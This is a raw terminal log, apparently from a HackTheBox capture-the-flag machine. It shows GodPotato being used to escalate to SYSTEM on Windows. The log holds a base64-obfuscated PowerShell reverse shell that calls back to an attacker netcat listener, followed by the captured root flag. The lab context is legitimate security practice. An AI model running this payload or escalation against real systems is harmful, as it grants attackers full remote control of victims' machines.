PS C:\Windows\Temp> .\GodPotato.exe -cmd 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAAIgAsADQANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# rlwrap nc -lnvp 4445     
listening on [any] 4445 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.14.89] 51212
whoami
nt authority\system
PS C:\Windows\Temp> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
fc98f418f94...